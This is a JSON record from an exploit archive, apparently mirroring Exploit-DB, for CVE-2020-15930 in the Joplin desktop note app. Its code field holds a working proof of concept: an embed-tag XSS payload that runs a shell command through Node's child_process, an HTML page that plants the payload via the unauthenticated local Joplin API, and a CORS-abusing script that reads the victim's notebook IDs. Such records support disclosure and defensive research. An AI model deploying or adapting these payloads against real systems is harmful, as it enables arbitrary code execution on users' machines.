{"exploit":{"id":"EDB-48837","name":"Joplin 1.0.245 - 'embed' Cross-Site Scripting (XSS) / Arbitrary Code Execution (PoC)","description":"Joplin 1.0.245 - 'embed' Cross-Site Scripting (XSS) / Arbitrary Code Execution (PoC)","cves":["CVE-2020-15930"],"author":"Ademar Nowasky Junior","published":"2020-09-28","platform":"multiple","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48837","path":"exploits/multiple/webapps/48837.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48837.txt","vulnerabilities":[{"id":"CVE-2020-15930","state":"PUBLISHED","title":null,"titleSource":null,"description":"An XSS issue in Joplin desktop 1.0.190 to 1.0.245 allows arbitrary code execution via a malicious HTML embed tag.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-15930","cvss":{"version":"3.1","baseScore":6.1,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-15930"},"updatedAt":"2024-08-04T13:30:23.261Z","retrievedAt":"2026-11-26T04:16:16.713Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48837.png?v=2","url":"https://exploitbin.com/exploits/EDB-48837","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48837/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48837/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Joplin 1.0.245 - Arbitrary Code Execution (PoC)\n# Date: 2020-09-21\n# Exploit Author: Ademar Nowasky Junior (@nowaskyjr)\n# Vendor Homepage: https://joplinapp.org/\n# Software Link: https://github.com/laurent22/joplin/releases/download/v1.0.245/Joplin-Setup-1.0.245.exe\n# Version: 1.0.190 to 1.0.245\n# Tested on: Windows / Linux\n# CVE : CVE-2020-15930\n# References:\n# https://github.com/laurent22/joplin/commit/57d750bc9aeb0f98d53ed4b924458b54984c15ff\n\n# 1. Technical Details\n# An XSS issue in Joplin for desktop v1.0.190 to v1.0.245 allows arbitrary code execution via a malicious HTML embed tag.\n# HTML embed tags are not blacklisted in Joplin's renderer. This can be chained with a bug where child windows opened through window.open() have node integration enabled to achieve ACE.\n# If Joplin API is enabled, Remote Code Execution with user interaction is possible by abusing the lack of required authentication in Joplin 'POST /notes' api endpoint to remotely deploy the payload into the victim application.\n\n# 2. PoC\n# Paste the following payload into a note:\n\n<embed src=\"data:text/html,<script>opener?require(`child_process`).exec(`calc`):open(location)</script>\">\n\n# 2.1 RCE with user interaction\n# Enable Joplin API, visit exploit.html and open the created note in Joplin to execute the exploit.\n# By default, notes are stored in the last notebook created.\n\n<!-- exploit.html -->\n<script>\n    x = new XMLHttpRequest;\n    j = {\n        title: \"CVE-2020-15930\",\n        body: \"<embed src='data:text/html,<script>opener?require(`child_process`).exec(`calc`):open(location)<\\/script>'>\"\n    };\n    x.open(\"POST\", \"http://127.0.0.1:41184/notes\");\n    x.send(JSON.stringify(j));\n</script>\n\n# To create a note in other notebooks you need the notebook ID. It's possible to get the victim's notebooks IDs due to a relaxed CORS policy in 'GET /folders' endpoint.\n\n<!-- notebooks.html -->\n<script>\n    x = new XMLHttpRequest();\n    x.onreadystatechange = function() {\n        if (x.readyState == XMLHttpRequest.DONE) {\n            alert(x.responseText);\n        }\n    }\n    x.open('GET', 'http://127.0.0.1:41184/folders');\n    x.send();\n</script>","sha256":"07a6177ba5cbb4e0fd7a8e6e64ef584e6dd2a030dfdec15e41fe06501b8be32e","bytes":2158,"fetchedAt":"2026-11-26T23:07:18.268Z","encoding":"utf-8 (display only; download retains original bytes)"}